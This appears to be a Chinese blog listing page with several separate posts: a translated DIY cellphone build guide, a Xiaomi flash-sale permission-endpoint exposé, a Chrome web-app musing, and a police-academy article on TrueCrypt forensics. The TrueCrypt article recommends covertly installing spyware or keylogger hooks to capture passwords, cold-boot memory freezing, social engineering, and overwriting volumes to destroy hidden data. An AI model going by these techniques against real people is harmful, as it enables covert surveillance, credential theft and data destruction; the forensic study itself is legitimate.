制作手机的现成工具是没有的,但你可以从不同的网站订购部件。

电子器件

大多数的电子器件都可以从SparkFunDigi-Key网站订到。M10 GSM 模块你需要从Arduino store上订到。

材料清单:BOM.pdf (LCD器件),BOM.pdf (LED矩阵器件)

工具

组装手机时你将需要配置一套好的焊接工具:一个电烙铁烙铁(例如WES51),烙铁头要好使,细焊锡、熔焊灯芯、镊子等。为了对AVR微处理器编程,那么您需要一个程序烧写器(如AVRISP mkII)以及一个3.3V FTDI Cable线。你还需要一个mini-USB线来给电池充电。 使用激光切割外壳时,您将需要一个激光切割机和一个小的飞利浦螺起子。

SIM卡

手机应该能使用一个全尺寸的SIM卡,,SIM卡可从任何GSM提供商获取。我已经用T-mobile卡在美国测试成功,AT&T电话卡在印度、中国和欧洲也已经测试成功。

其他材料

对于需要激光切割的外壳,你需要准备如下材料:

  •  一张1/4 ” / 6毫米胶合板,像craft plywood from Midwest Products这种可以在美国中西部的许多艺术供应商店可以买到。(避免使用Midwest Products的micro-lite航空胶合板或者其他带黑胶粘合层的胶合板,因为它们会在激光切割机的高温下燃烧);
  • 一张木单面饰板,最好有粘合底布;
  • 六个M0,5/8″,盘头机螺丝(如100 pack from McMaster-Carr);
  • 六个M0螺母(例如50 pack from McMaster-Carr

或者可以试着制作一个不一样的外壳(例如用3D打印机打印或有条件自己铣一个模具)。下面分别是LCD屏版的电路板以及LED点阵版的电路板图示:

8384518274_894c2713f3_m8383433747_e59ef7255b_m

9160323897_79ea9403cb_m9162546146_e33e20b15b_m

焊接电子器件

由于手机使用许多体积小、贴片式器件,可以用一个好的烙铁手工焊接它们。大多数器件都是直接焊接(因为他们的尺寸小),但有少数例外:

  • 电容:大(1000 uF)电容器的焊接要注意极性,如果你接错了方向可能会爆炸。可以用使用橙色条纹事先标识正确。
  • 器件的极性:其他带极性的器件包括超级电容器,发光二极管(注意有两个绿色的小点的一侧),ATmega1284P单片机(注意在角落里的圆圈标志),M10 GSM模块(角落里有个箭头标志),SIM卡插座。
  • 麦克风,二极管(注意淡灰色线一侧)。还有一些器件没有极性(可以任意方向焊接):如晶振(8 MHz)、扬声器、复位按钮、小电容、电阻。其他器件只需要一个方向对齐(但确保晶体管不能颠倒,按钮没有旋转90度)
  • 天线:当焊天线时,先从面向GSM模块的垫块开始焊。因为这里带电气信号,其他都只是在支撑结构(从下面稳定天线)。你甚至可以从天线顶部来加热焊接垫块,热量可以从两个通孔(小孔)散出去。
  • 焊接跳线:电路板底部有两个焊接跳线在,他们的标签分别是“Cell”和“uC”。焊接跳线中心点到标有“uC”的焊接点。(在线路板上此跳线从 FTDI头部通过RX和TX线到ATmega1284P模块,方便他们之间串行通信。相反如果你把中心垫焊接在“Cell”垫上,FTDI线将直接连接到GSM模块,这样你可以与计算机进行通讯)。
  • 扬声器:焊接扬声器是件挺不容易的事,因为它没有引脚。首先,将焊锡涂在印刷电路板的焊接点上。然后将扬声器安在印刷线路板上(和电路板上的焊接垫对齐)和从底部安装焊锡上。你可以添加焊锡或融化之前点在线路板上的焊锡。如果扬声器不发声,不要把扬声器拔下来(你可能会撕裂它下面的焊接点)。相反,尝试对从下面的洞其重新将焊锡点融化。
  • USB连接器:五个小引脚中只有外围的两个用到了,所以你不需要焊接那三个中心的引脚。(注意要焊上四个角,因为他们提供支撑结构的作用)。
  • ISP头:因为你只需要烧录一次引导程序,我特意不把管脚焊到ISP头(2×3)上。相反,可以在烧录引导程序的同时,把管脚插入你的ISP连接器,用手握着线路板(从线路板顶部)对着管脚。如果你做不到,你可以先把管脚焊入孔中,但你必须调整机壳来为它腾出空间。
  • 液晶屏(LCD):你只需要焊屏幕顶部八个脚,而不是底部的八脚。要把晶体焊好,需要从底部插入公头管脚(以便塑料部分在电路板下面)。首先先把它焊在电路板上,然后把显示屏放在上面(检查极性)。最后把管脚焊到显示屏上。

编译软件

手机的软件是一个Arduino程序,利用各种库和第三方硬件定义。你可以编译并与Arduino软件一起上传,但是一些初始设置是必需的:

  1. 下载并安装Arduino 1.0.4(经过测试的)或从Arduino 1.0.5软件页面Arduino software page上安装。
  2. 安装 Git version 版本控制软件.。使用方法见 Windows 或 Mac
  3. GitHub上签出手机的源代码。如:”git clone https://github.com/damellis/cellphone2.git“,然后执行 ”cd cellphone2″ 来改变源代码目录。
  4. 签出手机软件使用的其他库”git submodule init”和”git submodule update”。
  5. 对于LED矩阵屏,签出LED点阵分支”git checkout led-matrix”。(LCD屏代码存储在默认的主分支)。
  6. 运行Arduino系统,在preferences对话框设置你的sketchbook文件夹到cellphone2目录(即你从github上检出的目录)。
  7. 在preferences对话框,启用在编译和上传时显示详细信息(verbose)。(如果有任何差错的话,这将有助于调试)
  8. 重启Arduino软件。
  9. 选择“DIY手机”从工具>线路板菜单。
  10. 从工具> 烧写器菜单选择AVRISP mkII(或者你使用的烧写器)。
  11. 把锂电池放入手机。
  12. 从工具菜单启动“烧录引导程序”(同时握着ISP头的针在对着线路板上相应的孔)。这可能需要几分钟。
  13. 连接3.3 v FTDI电缆到FTDI头(黑色线继续边贴上“B”,绿色的边贴上“G”)。
  14. 从sketchbook打开手机脚本。
  15. 从工具>串行端口菜单选择对应FTDI电缆的选项。
  16. 上传手机脚本。
  17. 屏幕应该打开并显示“正在连接”。
  18. 把SIM卡插入槽中。
  19. 手机连接到网络可能需要一段时间的。如果几分钟之后仍连接不上网络,可以试着重启调整板(按小重启按钮)。你可以在Arduino串行监视器上看到9600波特的调试信息。
  20. 一旦手机和网络连接成功,你会在屏幕上“已连接”和“正在缓存”在屏幕上。几秒后,屏幕变成一片空白。这表明手机已经成功启动现在已锁定屏幕。参见“使用手机”一节获得更多的信息。

cellphone_call240

使用手机

解锁手机

一旦手机成功启动后屏幕将被锁定成空白。按任意键解锁手机,日期和时间将出现在屏幕几秒钟(这是“解锁”屏幕)。在LED点阵晶体上,日期和时间将来回滚动在屏幕上。如果在这时你按下“解锁”键(左上角的按钮),电话将会解锁,如果使用液晶显示屏,屏幕的背光将打开。在液晶日期和时间将保持屏幕会看到软键的“锁”和“菜单”出现在屏幕上。而在LED点阵晶体上时间将继续显示不再滚动,这就是主屏幕。

锁定手机

在主屏幕你可以锁定手机,只要按下左边的软键按钮(左上角按钮)即可。这将关掉屏幕和背光,但电话还在开机状态,还能接电话和发信息。

调整对比度/亮度

在手机的“解锁”屏幕中你可以调整对比度(LCD液晶显示屏)或亮度(LED点阵显示屏),这可以通过使用向上和向下按钮(屏幕下方的4个按键组的中间两个按键)来实现。.

拨电话号码

你可以从主屏幕拨一个号码。只需要简单按下对应的号码的第一个数字键。你会被带到拨号屏幕,在这里您可以输入剩余的数字。按*键可以删除最后一个数字或按“back”回到主屏幕。接下来连续按#键一次或多次,您就可以输入#、*、或+。要打电话就按右键(“call”)。

使用电话簿(联系人列表)

在主屏幕下,按向下箭头进入电话本。使用上下箭头来导航到所需的条目。按右键(“okay”)进入一个菜单,你可以打电话、发送短信到该联系人,添加一个新的联系人到通讯录进行编辑或着删除联系人。

添加一个联系人

要添加一个联系人,首先从主屏幕进入联系人列表,按向下箭头。然后按正确的按钮进入联系人菜单(“call”、“text”、“add entry”等等);滚动(使用上下按键)到“add entry”菜单项按右键即可。现在你可以使用数字小键盘输入的名称(2是“abc”,三是“def”等;1是空格,*是退格,和#是切换)。一旦你进入联系人的名字,按向下箭头移动到联系人的电话号码字段(你也可以按向上箭头返回字段用于输入联系人的名字)。输入联系人的号码使用键盘(*再次退格,但#现在在*# +和之间循环)。当你进入了名字和电话号码后,按右键保存联系人信息(或按左按键取消)。

打电话给联系人

要打电话给一个在您列表中的联系人,只需要滚动到联系人,按右键弹出菜单(“call”、”text”等等),然后再次按右键打电话给联系人。

发短信给联系人

要发短信给联系人,只需滚动到联系人列表,按右键弹出菜单联系人。向下滚动到“text”并按右键。现在你可以使用数字小键盘输入你的信息。(比如联系人的名字,2是“abc”,3是“def”等;1是空格,*是退格,#是切换)。按右键来发送文本(或左键取消)。

故障排除

自制手机涉及很多细节问题,也有很多问题使得手机不能正常工作。这里列举一些潜在的问题和可行的解决方法。

不能烧录引导程序到单片机

  • 微处理器是否带电?(电池放入了么,充电了吗?)
  • 微处理器是否焊接正确(即每条管脚是是否焊接到相应的焊点上和是否短路或脱焊)?特别是检查连接到ISP头、VCC以及接地的管脚是否正确。
  • ISP头的管脚是否牢固地固定在线路板相应的孔上?你可以试一试把管脚焊到ISP头上(线路板的顶部)。
  • 晶振焊接正确吗?(如果不正确的话引导装载程序第一步可能会成功,但第二个步可能会失败)。

不能编译手机程序

  • 你使用是Arduino 1.0.4或1.0.5系统么?
  • 你是否签出了cellphone2子库吗?(他们包含所需的库和线路板的定义)
  • Arduino的sketchbook目录是否设置为cellphone2?(否则Arduino软件无法找到库和线路板的定义)
  • “DIY Cellphone”是从工具>线路板菜单选取的吗?

不能上传手机程序

  • 是FTDI线是否连接正确(黑色线连接到贴着“B”的一端,绿色线连接到“G”的一段)?
  • 你是否从工具>串行端口的菜单选择正确的串口正确么?(试着拔掉FTDI电缆,看哪一项从菜单中消失,那一项就是对应的电缆项)
  • 是焊料跳线焊接正确(中央焊点连接到“UC“点上了么)?
  • 电路板上电了么?
  • FTDI头焊接正确吗?特别是临近的0.1超滤电容?或RX和TX微处理器?
  • 晶振焊接正确吗?
  • 引导装载程序烧录成功吗?(如果没有参考上面这个问题)

不能连接到通讯网络

  • 有SIM卡在插槽上吗?
  • 是SIM插座焊接正确吗?22欧姆电阻焊接正确么?GSM模块上相应的焊接点焊接正确吗?
  • 天线焊接正确吗?相应的焊点在GSM模块吗?
  • 0欧姆电阻是否焊接正确?(跟踪连接M10 GSM模块的天线)
  • 有接收吗?
  • SIM卡被另一部电话锁住了么?
  • AT&T SIM卡(可能还有其他运营商的SIM卡):你在AT&T网站上激活你的SIM卡了么?你需要一个印在M10 GSM模块上的IMEI号码。

其他器件不能工作(例如:显示屏、扬声器、麦克风、蜂鸣器)

  • 器件焊接正确么?
  • 连接器件部分焊接正确么 ?(例如 微处理器或GSM模块的管脚))焊接正确么?

串口调试

你可以通过计算机与GSM模块串口通讯进一步调试手机,使用微处理器作为代理。上传SerialProxy到手机上 (使用一个 3.3V FTDI 线缆或分支电路板)。打开串口监视器,把波特率设定为9600,行结束符设置成回车,几秒后你会看到:

READY

AT

OK

这意味着GSM准备接收AT命令(主要以“AT”打头的字符串文本)。GSM模块的数据手册中会有这个命令是详细介绍,这里有一些基本的AT命令:

AT命令

测试/同步命令。如果你在串口通讯监控器输入“AT”(以“回车”作为行结束符),你应该得到一个“OK”响应。

AT+CREG?

检查网络注册的状态(连接)。响应信息将是“+ CREG 0,N”的格式,N可以是:0(没有注册到网络)、1(注册到网络)、2(寻找网络)、3(网络注册否认)或5(注册、漫游)。

AT+ CPBS?

显示当前选中的电话簿。响应的信息例如:“+ CPBS:“SM”,50250”,“SM”指示的SIM卡是当前电话簿(其他选项包括“MC”为未接电话簿,“RC”为已接电话列表,“ME”是GSM模块电话簿)以及250条中的50个目在使用的联系人 。这个命令可以用于验证GSM模块能够与SIM卡的连接是否正确。

AT+ CPBS =“SM”

选择SIM卡的电话簿。你也可以用前面说的MC,RC,ME取代“SM”缩写。

AT+ CPBR = 1

阅读从当前选中的电话簿第一个条目。1可以换成其他你想读取的条目(电话本总的大小由AT+ CPBS 命令可以查出)

制作外壳

你可以采用激光切割的胶合板、单板饰面、以及一些小螺丝做一个简单但实用的外壳(详见上面的材料):

  1. 切割之前的情况,检查包装文件是否和电路板匹配。特别是我在大小和螺丝孔的位置上做了很多的调整,所以检查它们在PCB板和包装在外壳的孔是否在同一个位置上。(注意,外饰单板文件上的洞底应该比其他的孔大些,这是为了安上螺母、以及能把螺丝轻松的拧下来)
  2. 如果你在ISP头上焊上固定点,你需要在顶部块胶合板上抠出空间。相应DIY-Cellphone-Top图纸也要进行修改。
  3. 采用在GitHub上的damellis / cellphone2hw库Case/ folder中的DIY-Cellphone-Top-Veneer和DIY-Cellphone-Bottom-Veneer图纸文件来用激光切割胶合板(1/4”/ 6毫米)。SVG文件被创建到Inkscape里,然后生成hpgl文件,以便在CorelDraw绘图软件中导入。
  4. 激光表面使用DIY-Cellphone-Top-Veneer 和 DIY-Cellphone-Bottom-Veneer单板文件。切单板饰面时木前面向上(胶背面向下)
  5. 从顶部饰面单板块撕掉粘合底布,然后贴在了外面的顶级胶合板片上。背部反复贴紧,,再把外部的饰面贴在胶合板上。
  6. 在上层每个按钮和顶部饰面单板之间有一点空空间。你可以在上层饰面板的背面防止间隔垫,一个用于安放按钮的装置(放于饰面单板中间的一个个矩形曲线图样)。这样你不必降低单板下的按钮高度。
  7. 滑动电路板顶部和底部的外壳。为了安装GSM模块和电池连接器之间的电池线, 需要把电线弯成两段。胶合板碎片应该保持与电路板平行。
  8. 把六个螺丝拧进螺帽里。

设计文档

手机的设计文件和源代码可以在GitHub上找到:

 

 

英文原文链接:http://www.instructables.com/id/Make-your-own-cellphone-from-scratch

能不能抢到小米已经由服务器决定

小米开放购买代码门,购买权限门后续——在开放购买之前,能不能购买成功已经被小米服务器决定 。

关于小米购买权限门事件得从这篇帖子说起,如果你们现在打开上面的网址,会显示提示: 作者被禁止或删除 内容自动屏蔽。

但是作者似乎并没有干什么,只是在帖子内容里说了几句脏话,小米论坛管理员就屏蔽了该作者,不禁让人浮想连篇。

根据下面的回复我们还是可以知道大概发生了什么事情。

在小米论坛上,另外有人引用了该作者的原帖,复制粘贴了该作者的帖子内容,并且加以验证。帖子地址如下。

 

小米

这位作者因为没有激烈的言辞,内容没有被禁止,我们可以看到帖子的内容,数据显示,在回复数达到102的时候,论坛管理员出现,使得这篇帖子没有被继续回复,浏览数不过2000,因此,大部分人还并不知道,小米抢购需要排队后,并不是所有的帐号只要预约了就有权限参与抢购小米手机,有的帐号可以连续不断,从8月12号到10月8号,每次只要排一次队就可以顺利抢到一台小米手机,可以说,逢抢必中。他们并不清楚,其实,小米每次抢购是否能通过排队进入抢购页面,早就被小米后台决定好了。

 

如何知道你有没有机会呢?帖子里作者给出方法
1. 首先登录自己的账号
2. 在浏览器地址栏输入 tc.hd.xiaomi.com/hdget?callback=hdcontrol 访问然后会返回一段代码,
格式如下:

hdcontrol({“stime”:1381645438,”status”:{“allow”:false,”miphone”:{“hdstart”:false,”hdstop”:false,”hdurl”:””,”duration”:null},”mibox”:{“hdstart”:false,”hdstop”:false,”hdurl”:””,”duration”:null}}}))
如果allow后返回的是 false 就表示没有权限,禁止购买了,就算你速度再快,也不可能买到,返回是true才表示有权限,才有机会能购买到。
这个怎么理解呢?要理解这个得首先用JS格式转换器,把上面的代码进行转换,转换结果如下

hdcontrol(
“stime”: 1381645438
“status”: {
“allow”: false,
“miphone”: {
“hdstart”: false
“hdstop”: false
“hdurl”: “”,
“duration”: null
},
“mibox”: {
“hdstart”: false,
“hdstop”: false,
“hdurl”: “”,
“duration”: null
}
}
}))
抢购开始的时候,hdurl 后面会是小米手机的抢购网址(去域名后)。

稍微懂代码常识的人都知道,当allow后面的值为false的时候意味着下面的代码将不被执行,

也就是说,你进不了页面,把抢购网页复制到浏览器链接栏直接打开,小米服务器也会驳回你的请求,把你送回排队页面。

这还意味着,当allow后面的值为true时,你向小米服务器发送的请求才会被受理,让你进入抢购页面,于是allow后面的值为true就成为了是否有机会购买小米手机的一个重要权限

。根据这篇帖子作者的原话(已被禁止),我们知道,一开始这个作者的帐号allow后面的值为true,并且该作者因为allow后面的值为true,在排队系统出来后成功购买了多台小米手机,并且根据多个帐号的测试结果,得出结论:allow后面的值为true才能进入抢购页面选购小米手机,而且作者强调了,是有机会,有进去的概率,而为false则是无限排队,或者进去就被弹出,无法购买小米手机,相信你们中一定有很多人已经忘记了小米选版本的页面是什么样子。

该作者之所以曝光这个问题,是因为既得利益的失去,他的帐号前几次allow后面的值还为true,还能购买小米手机,现在allow后面的值为false,无法购买。

正是因为这个动机,让我相信该作者,觉得他说的有道理。楼主自己用自己的帐号进行了测试,发现为false,这正好验证了我无法进入抢购页面,无限排队的事实。

但是这不足以说明问题,我还需要对比,我有个同事,每次排队只要排一次,第二次点进入活动,立马进去,每次都能买到一台小米手机,让楼主眼红了很久,楼主曾经尝试了所有的东西,包括电脑系统,网速,网络,浏览器,每一次我都让自己的抢购环境和他一样,但是每一次我都是无限排队,他每次都进。这让楼主纳闷了很久,我把同事的帐号拿来进行测试,顿时五雷轰顶,简直要背过气,气疯了。

hdcontrol({
“stime”: 1381645344,
“status”:
“allow”: true,
“miphone”:
“hdstart”: false,
“hdstop”: false,
“hdurl”: “”,
“duration”: null
},
“mibox”: {
“hdstart”: false,
“hdstop”: false,;
“hdurl”: “”,
“duration”: null; e;
}
},
}))
以上是他的返回值,自此楼主总算明白了为什么他每次抢购都能成功,真的不是网速不是人品不是运气,根本问题就出在帐号上。
楼主仔细研究过抢购时调出来的排队窗口,这个窗口的作用有两个,一个是统一化数据传送格式,使得所有通过排队向小米服务器发送请求的数据格式相同,便于服务器识别,另一个就是错时减轻服务器压力。

这也正是直接复制粘贴抢购网址到链接栏被弹回开放购买页面的原因,服务器拒绝非上述格式的请求,想通过直接复制粘贴网址的形式肯定行不通。那么通过直接发送数据的形式请求抢购页面是不是行的通呢?

我以为是可以的,只要数据格式和通过排队发送的数据格式一样就可以。那请求是不是能通过呢?是不是可以通过大量的发送数据,请求抢购页面呢?

一开始我以为是可行的,直到我看见了上面因为既得利益失去所以曝光内幕的作者发的帖子,恍然大悟。最终的决定权其实还是不在用户手里,排队只是减轻服务器压力,延长抢购时间的一个策略,能不能进入抢购页面购买手机,甚至都不怎么和概率相关,关键得看小米的服务器。我大胆的作出了一个假设,小米系统后台偷偷的对一部分帐号进行了特殊标记,一般情况下看不出区别,但是每次抢购活动就会体现出差别,比如优先购买权。比如之前同事的帐号,排队只要一次,可以连续买多台。

上面帖子里的方法就可以进行检测,allow后面的值为true,就代表你的帐号被特殊标记上了,有优先购买权,(14号下午六点左右,该通道已经关闭,今天再次开放,大家可以去进行测试,测试得出为true 进入这个网页[这是9月3号的抢购页面,因为留着有作用,具体的作用,发现小米排队BUG的人都知道是干啥的,在这个页面点击立即购买,true只需要排一次队即可进入小米网,原因是hdurl后为空,自动跳回主域,正好是在这个页面测试得到的结果会和你们今天的抢购结果非常接近,在这个页面无限排队也就等于你的帐号今天会一直排队到活动结束,不信,我们拭目以待)。

Google Chrome 越来越像桌面了

今天刚刚试用了一个画流程图的Chrome App —— Gliffy. 从Chrome Web Store安装完成之后,Chrome顺便在我的任务栏添加了一个快速启动 Chrome Web App 的图标,在桌面上也建了一个快捷方式。
快速启动 Chrome Web App

倒不是 Chrome 第一次在我电脑上装这个东西,它确实挺方便的。而是启动 Gliffy 的时候,是我第一次见到全屏模式下的Chrome Web App。
全屏了的Chrome Web App - Gliffy
几乎感觉不到和原生应用的差别。你很可能会忘记,其实它是在 Chrome 浏览器里运行的网页程序。

我没用过 Chromebook, 只看过图片。
HP Chromebook
和 Windows 里面长得很像。

Google Chrome 一直在努力取代桌面。新的 Chrome Web App 启动方式,以及全屏的运行模式,应该是 Google 在利用 Windows 平台上庞大的用户群,调研用户对于这种新的使用互联网的方式的接受程度,以及使用习惯。得到的数据则被用来更好地开发 Chromebook。

Web App 和原生应用之间似乎一直都在进行一场战争,做浏览器和开发 Web 的人似乎一直都想把本地的软件复制到浏览器里去,如果你这么认为的话。如果真的是一场战争,我觉得没有一方会赢。因为我看到这两种应用程序都在改变自己,Web App 在努力地接近用户的系统层,比如硬件加速、应用缓存之类;而本地应用也在越来越多地依赖互联网,比如办公软件开始提供协作的功能,更不用提那些网络游戏、及时聊天、各种云了。

不管以后电脑里的程序是运行在本地,还是运行在浏览器里,它们的共同点是都高度地依赖互联网。Web App 和本地应用,以后的关系可能就像用两种不同的语言开发同一款软件一样,区别只在于实现方式,而用户是无法感知的。

Filed under: 碎碎念 by 哈哈胡子

TrueCrypt加密模式及对应取证方法研究

TrueCrypt是全球著名的开源虚拟加密磁盘软件,目前支持Windows 7/Vista/xP/2000,Mac OS,和Linux等操作系统。TrueCrypt加密之后形成的虚拟磁盘,在输入正确密码之后可以像本地其它磁盘一样正常访问,内部所有文件都会自动加密,其加解密过程均为实时进行,并且效率很高。

 

1   TrueCrypt的特性

TrueCrypt主要有如下特性:
1.1 所创建的虚拟加密的磁盘形式上为
硬盘上面的一个文件,可以加载为一个方便操作的实际磁盘;

1.2 可以加密完整的磁盘分区,或者移动存取设备,如U盘或者移动硬盘;

1.3 可以加密一个分区或者一个安装好操作系统的完整硬盘驱动器;

1.4 加解密过程是完全自动的、实时的并且对用户透明的;

1.5 由于采用并行和流水线技术,对数据的加解密处理非常迅速,用户完全感觉不到与不作加密操作时的差别;

1.6 双重加密,即使是在胁迫的情况下也可以实现隐藏磁盘和操作系统的目的。
2 TrueCrypt算法

2.1 TrueCrypt采用如表1所示的加密算法。

 

20131109002632

在90年代中期,美国国家标准与技术研究院(NIST)公开征集加密算法作为区块加密标准,筛选最后一轮后还剩下Rijndael、Serpent、Twofish,这三种算法各有千秋,Serpent被认为最安全,而Rijndael速度最快,Twofish则居中。最后NIST选择了Rijndael作为高级加密标准(AES,Advanced Encryption
Standard)的算法,并在2002年5月26日使其成为有效的标准,至2006年,高级加密标准已然成为对称密钥加密中最流行的算法之一。
2.2

TrueCrypt目前主要支持RIPEMD一160,SHA一512和Whirlpool等哈希算法,这些哈希算法被随机数生成器用来做伪随机“混淆” 函数或者被头密钥衍生函数用作伪随机函数。在生成新的卷时,由随机数生成器产生主、次密钥(XTS模式)和盐。
3

TrueCrypt所采用操作模式XTS所谓模式,就是方法,就是加密的方法。TrueCrypt所采用的XTS模式实际上就是XEX模式,XEX模式由Phillip Rogaway于2003年所设计,XEX模式和XTS模式细微的差别在于:XTS模式使用两个独立的密钥,而XEX模式仅使用一个密钥。2010年XTS模式被NIST证明可以很好保护存储设备上面的数据机密性。而此前,已经于2007年被美国电气和电子工程师协会(IEEE)证明可以对面向块的存储设备上面的数据实现加密保护。

20131109003811

 

4  TrueCrypt加密之后的取证方法
TrueCrypt加密之后的文件, 目前没有好的办法破解, 因此在调查取证的时候,可以考虑以下方法:
4.1 分析和检查是否有TrueCrypt加密之后的文件存在。

 

(a)TrueCrypt加密之后的文件没有固定的特征,如果加密者把这样的文件保存为常见格式的文件时,利用Encase、Winhex、取证大师等软件分析文件特征,对于不匹配的文件重点分析,进行排查是否为加密文件;
(b)搜索系统所安装软件,包括历史安装记录,检查是否有安装TrueCrypt软件的痕迹;

 

(c)搜索大文件,作为加密容器,一般都存放着多个文件,因此,较大的文件可能性会比较大,不过也不排除特别重要的文件单独加密的可能。
4.2
TrueCrypt能设置双层加密,即在一个加密卷中再隐藏另一个加密卷,隐藏卷形象的来说就是“嵌套”在普通加密卷里边的。当用户被胁迫解密加密卷时,用户可以把隐藏加密卷的“外套”普通加密卷解密,透露一些无关紧要的信息,而真正的受保护的信息则隐藏在隐藏卷中,数据得以保护。加密卷的加载流程如下图所示:

20131109003907

 

对于此类情况,首先要考虑是否能得到隐藏卷的密码,如果不能,应该把数据备份之后,用无用数据填充的方式覆盖普通卷空余的空间,可以把伪装在普通卷里面的数据破坏,让加密者自己也无法再恢复这些隐藏的数据。
4.3

TrueCrypt对数据的操作都是在内存(RAM)中进行,因此软件不确定是否在计算机的内存中保存有密码、主密钥和一些未加密的数据。而最新的研究成果显示,即使计算机关机后,内存保存的资料,包括加密程序的安全锁和口令仍未消失,最长可能达数分钟之久,透过冷冻计算机记忆芯片,还可延长内存暂存资料的时间,普林斯顿大学一班计算机保安专家组成的研究小组组长——计算机科学家费尔滕解释:只要以液态氮(摄氏一196度)冷冻计算机芯片,即使电源已中断,内存仍可保持状态至少数小时。然后将芯片安装回计算机,就可读取里面的资料。
4.4

在使用者机器上安装使用间谍或者监控程序,开机自动运行,利用键盘记录钩子记录TrueCrypt加载卷的密码。此外,还可以利用政策,社会工程学方法(如通过其他途径获得其他帐号密码或者其他方面的信息来分析加密文件的密码)等方式来获取密码,并注意是否可以获取隐藏卷的密码。
5 总结
TrueCrypt是全球著名的开源加密软件,有着安全、易用、功能强大等优点,也适用于可移动存储设备的加密。随着在国内应用的推广,对使用该软件加密之后的计算机数据的取证也变得越来越困难,因此有必要对这方面加强研究,总结规律,以提高取证的效率。
参考文献:
[1]王超峰,姜梅,宋嘎子.开源加密软件TrueCrypt研究.微计算机信息.2010年第26卷第2— 3期.
[2]宣龙,朱兴星,侯方勇.T rueCrypt软件保护机密文档的研究和应用.科技信息(学术版).2008年第3期.
[3]TrueCrypt软件用户指南.
[4]http://www.cnr.cn/nx/shtc/it/200802/t20080229504719237.html

 

彭建新 杜威 王晓雷

(广东警官学院计算机系,广东广州 510230)

摘要:分析开源加密软件TrueCrypt的加密算法、操作模式XTS,提出在计算机调查取证时所对应的方法。

1 2 3 4 5 6